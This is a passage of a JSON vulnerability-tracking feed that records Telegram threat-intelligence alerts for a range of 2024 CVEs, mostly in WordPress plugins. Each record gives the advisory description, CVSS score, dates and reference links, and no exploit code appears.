safe vehicle state.\n\ud83d\udccf Published: 2025-02-14T00:30:44Z\n\ud83d\udccf Modified: 2025-02-14T00:30:44Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12054\n2. https://nmfta.org/wp-content/media/2022/11/Actionable_Mitigations_Options_v9_DIST.pdf\n3. https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "creation_timestamp": "2025-02-14T01:17:06.000000Z"}, {"uuid": "1bc39afc-0f14-4fa2-85d4-771a74f25945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4380", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12054\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-13T23:15:09.823\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://nmfta.org/wp-content/media/2022/11/Actionable_Mitigations_Options_v9_DIST.pdf\n2. https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "creation_timestamp": "2025-02-14T01:11:13.000000Z"}, {"uuid": "6d7ca40b-8132-474e-af3c-8c47702c1eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4450", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12651\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-14T14:15:31.487\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0034", "creation_timestamp": "2025-02-14T15:12:28.000000Z"}, {"uuid": "07dcc82f-8943-42e6-827e-c35e61d18a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12562\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the 's2member_pro_remote_op' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-02-15T12:30:50Z\n\ud83d\udccf Modified: 2025-02-15T12:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12562\n2. https://s2member.com/changelog\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/65192fdb-86db-475a-8c61-4db922920cfe?source=cve", "creation_timestamp": "2025-02-15T13:11:14.000000Z"}, {"uuid": "335ee6fd-76a6-4d2e-aa95-6758847632ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4548", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12562\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-15T10:15:08.197\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://s2member.com/changelog/\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/65192fdb-86db-475a-8c61-4db922920cfe?source=cve", "creation_timestamp": "2025-02-15T11:10:50.000000Z"}, {"uuid": "8e0215c9-7052-4c25-9969-c9db3ef3aba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5027", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12577\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Kernel software installed and running inside a Guest VM may exploit memory shared with the GPU Firmware to write data outside the Guest's virtualised GPU memory.\n\ud83d\udccf Published: 2025-02-22T14:58:33.780Z\n\ud83d\udccf Modified: 2025-02-22T14:58:33.780Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-02-22T15:20:12.000000Z"}, {"uuid": "e1fd568c-70c7-4e9c-991b-f3b34caa5ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4792", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12069\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Lexicata plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.0.16. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute if they can successfully trick a user into performing an action, such as clicking on a specially crafted link.\n\ud83d\udccf Published: 2025-02-19T07:32:09.799Z\n\ud83d\udccf Modified: 2025-02-19T07:32:09.799Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7541a595-aae4-49d2-862a-c1d1f4a1e6e5?source=cve\n2. https://wordpress.org/plugins/lexicata/", "creation_timestamp": "2025-02-19T08:41:12.000000Z"}, {"uuid": "8502c07f-daf1-4b55-a040-533a82d83701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4741", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12314\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Rapid Cache plugin for WordPress is vulnerable to Cache Poisoning in all versions up to, and including, 1.2.3. This is due to plugin storing HTTP headers in the cached data. This makes it possible for unauthenticated attackers to poison the cache with custom HTTP headers that may be unsanitized which can lead to Cross-Site Scripting.\n\ud83d\udccf Published: 2025-02-18T04:21:17.575Z\n\ud83d\udccf Modified: 2025-02-18T04:21:17.575Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/72b777ac-1870-4588-82fe-da96a784ec81?source=cve\n2. https://wordpress.org/plugins/rapid-cache/", "creation_timestamp": "2025-02-18T07:56:53.000000Z"}, {"uuid": "0f385cbc-66d0-4ae6-9f5a-ab742fb4aa1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12525", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4745", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12525\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Easy MLS Listings Import plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'homeasap-featured-listings' shortcode in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-18T04:21:16.077Z\n\ud83d\udccf Modified: 2025-02-18T04:21:16.077Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6351a40d-523d-4edb-acba-5cf048a1014f?source=cve\n2. https://plugins.trac.wordpress.org/browser/easy-mls-listings-import/trunk/includes/class-homeasap-featured-listings-loader.php#L140", "creation_timestamp": "2025-02-18T07:56:56.000000Z"}, {"uuid": "cd833a77-6a8e-414c-969c-b0cceb552554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4750", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12813\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Open Hours \u2013  Easy Opening Hours plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'open-hours-current-status' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-18T04:21:14.151Z\n\ud83d\udccf Modified: 2025-02-18T04:21:14.151Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3feb5f46-e861-40ec-84e8-aade0667eec6?source=cve\n2. https://wordpress.org/plugins/open-hours/", "creation_timestamp": "2025-02-18T07:57:03.000000Z"}, {"uuid": "b4fcbdb6-af56-4561-ad9a-d7ce17d0ce38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4885", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12133\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.\n\ud83d\udccf Published: 2025-02-10T15:28:03.193Z\n\ud83d\udccf Modified: 2025-02-21T13:06:53.278Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12133\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344611\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-02-21T13:18:12.000000Z"}, {"uuid": "1a04e053-f87f-4e05-bdaf-67ac00df93ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4873", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12276\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The Ultimate Member \u2013 User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to second-order SQL Injection via filenames in all versions up to, and including, 2.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with  access to upload files and manage filenames through a third-party plugin like a File Manager, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The risk of this vulnerability is very minimal as it requires a user to be able to manipulate filenames in order to successfully exploit.\n\ud83d\udccf Published: 2025-02-21T09:21:05.646Z\n\ud83d\udccf Modified: 2025-02-21T09:21:05.646Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/846f9828-2f1f-4d08-abfb-909b8d634d8a?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3242743/ultimate-member/tags/2.10.0/includes/core/class-uploader.php", "creation_timestamp": "2025-02-21T10:20:22.000000Z"}, {"uuid": "b815d6ac-d7a5-4d84-8843-c352be54b0de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4770", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12173\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Master Slider  WordPress plugin before 3.10.5 does not sanitise and escape some of its settings, which could allow high privilege users such as Editor and above to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-02-19T06:00:03.134Z\n\ud83d\udccf Modified: 2025-02-19T06:00:03.134Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/0f35be0e-0f63-4e33-aa4d-c47b1f1e0595/", "creation_timestamp": "2025-02-19T08:38:48.000000Z"}, {"uuid": "66dc953f-55bd-4522-8a75-8432701cfbc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12799\n\ud83d\udd25 CVSS Score: 10 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/R:U/V:C/RE:H/U:Red)\n\ud83d\udd39 Description: Insufficiently Protected Credentials\nvulnerability in OpenText Identity Manager Advanced Edition on Windows, Linux,\n64 bit allows Privilege Abuse. This vulnerability could allow an\nauthenticated user to obtain higher privileged user\u2019s sensitive information via\ncrafted payload.\n\nThis issue affects Identity Manager Advanced\nEdition: from 4.8.0.0 through 4.8.7.0102, 4.9.0.0.\n\ud83d\udccf Published: 2025-03-05T14:55:55.363Z\n\ud83d\udccf Modified: 2025-03-05T14:55:55.363Z\n\ud83d\udd17 References:\n1. https://portal.microfocus.com/s/article/KM000037455", "creation_timestamp": "2025-03-05T15:33:03.000000Z"}, {"uuid": "f7f9e289-7530-4714-aceb-7bfffe29c994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12522", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4796", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12522\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Yay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yayforms' shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-19T07:32:08.089Z\n\ud83d\udccf Modified: 2025-02-19T07:32:08.089Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/461ab75a-3ced-4296-9dc1-b8eee17a8299?source=cve\n2. https://plugins.trac.wordpress.org/browser/yayforms/tags/1.2.1/yayforms.php#L123", "creation_timestamp": "2025-02-19T08:41:18.000000Z"}, {"uuid": "475cbe3a-8648-4cc1-a654-96f1a4e9999d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4859", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12284\n\ud83d\udd25 CVSS Score: 8.8 (cvssV4_0, Vector: CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Authenticated privilege escalation in\u00a0NetScaler Console and NetScaler Agent allows.\n\ud83d\udccf Published: 2025-02-19T23:30:11.146Z\n\ud83d\udccf Modified: 2025-02-21T04:56:13.966Z\n\ud83d\udd17 References:\n1. https://support.citrix.com/s/article/CTX692579-netscaler-console-and-netscaler-agent-security-bulletin-for-cve202412284?language=en_US", "creation_timestamp": "2025-02-21T05:18:28.000000Z"}, {"uuid": "3c5eb629-42f3-4fc7-abef-9e4a93db294f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12452", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4870", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12452\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Ziggeo plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ziggeo_event' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-21T09:21:06.824Z\n\ud83d\udccf Modified: 2025-02-21T09:21:06.824Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/be82095d-2b15-432e-a667-523286fa9629?source=cve\n2. https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1/core/events.php#L52\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3242184%40ziggeo&new=3242184%40ziggeo&sfp_email=&sfph_mail=", "creation_timestamp": "2025-02-21T10:20:17.000000Z"}, {"uuid": "39300a87-a524-4e69-9a42-1b4d3464ccae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12916", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5139", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12916\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Agito Computer Life4All allows SQL Injection.This issue affects Life4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:06:29.227Z\n\ud83d\udccf Modified: 2025-02-24T14:06:29.227Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T14:22:07.000000Z"}, {"uuid": "406d8e91-9186-4443-bebc-34f498f8a09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12467", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5014", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12467\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Pago por Redsys plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Ds_MerchantParameters' parameter in all versions up to, and including, 1.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-22T04:21:16.579Z\n\ud83d\udccf Modified: 2025-02-22T04:21:16.579Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ed05cd81-ca21-41de-9b02-bd84498cd74e?source=cve\n2. https://plugins.trac.wordpress.org/browser/pago-redsys-tpv-grafreak/tags/1.0.13/public/partials/pago-redsys-grafreak-public-display.php#L82\n3. https://plugins.trac.wordpress.org/browser/pago-redsys-tpv-grafreak/tags/1.0.13/includes/class-redsysapi.php#L263\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215878%40pago-redsys-tpv-grafreak&new=3215878%40pago-redsys-tpv-grafreak&sfp_email=&sfph_mail=", "creation_timestamp": "2025-02-22T05:18:49.000000Z"}, {"uuid": "e051905f-9e74-4cfa-9406-1f3f79f63a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4996", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12243\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.\n\ud83d\udccf Published: 2025-02-10T15:28:10.328Z\n\ud83d\udccf Modified: 2025-02-21T22:02:34.513Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12243\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344615\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-02-21T22:18:55.000000Z"}, {"uuid": "376be30a-aabe-4c59-a99c-a3b2a01cbe4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12038", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5013", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12038\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'buddyforms_nav' shortcode in all versions up to, and including, 2.8.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-22T04:21:16.997Z\n\ud83d\udccf Modified: 2025-02-22T04:21:16.997Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ff0568e2-3a1e-4ed6-835a-37e3d07d7b63?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3244167/buddyforms/trunk/includes/shortcodes.php", "creation_timestamp": "2025-02-22T05:18:48.000000Z"}, {"uuid": "8472820e-41fa-440a-b8dd-cf08b2e41c1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12917", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5186", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12917\n\ud83d\udd25 CVSS Score: 8.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)\n\ud83d\udd39 Description: Files or Directories Accessible to External Parties vulnerability in Agito Computer Health4All allows Exploiting Incorrectly Configured Access Control Security Levels, Authentication Abuse.This issue affects Health4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:14:55.690Z\n\ud83d\udccf Modified: 2025-02-24T16:58:24.511Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T17:21:54.000000Z"}, {"uuid": "71ad0332-cdee-4a61-a803-ba9d54046a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5189", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12918\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Agito Computer Health4All allows SQL Injection.This issue affects Health4All: before 10.01.2025.\n\ud83d\udccf Published: 2025-02-24T14:18:17.909Z\n\ud83d\udccf Modified: 2025-02-24T16:56:38.810Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0042", "creation_timestamp": "2025-02-24T17:21:56.000000Z"}, {"uuid": "2bb77b7b-4cfd-4e7b-bdfe-79b0a5ad5cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5130", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12308\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Logo Slider  WordPress plugin before 4.6.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-02-24T06:00:02.865Z\n\ud83d\udccf Modified: 2025-02-24T06:00:02.865Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fa82ada7-357b-4f01-a0d6-ff633b188a80/", "creation_timestamp": "2025-02-24T06:22:05.000000Z"}, {"uuid": "9fba04cf-a3b8-40d0-95fb-e2767cd3395b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12737", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5471", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12737\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP BASE Booking of Appointments, Services and Events WordPress plugin before 5.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-26T06:00:06.774Z\n\ud83d\udccf Modified: 2025-02-26T06:00:06.774Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/997eb9f6-80e1-4bc5-be72-bd6a6f52379c/", "creation_timestamp": "2025-02-26T06:25:25.000000Z"}, {"uuid": "d85d3014-7cd8-4ed6-8580-b3385d1fc167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5259", "content": "\ud83d\udd17 